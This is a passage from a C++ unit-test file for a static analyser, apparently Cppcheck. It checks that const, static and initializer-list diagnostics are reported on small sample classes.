{\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. 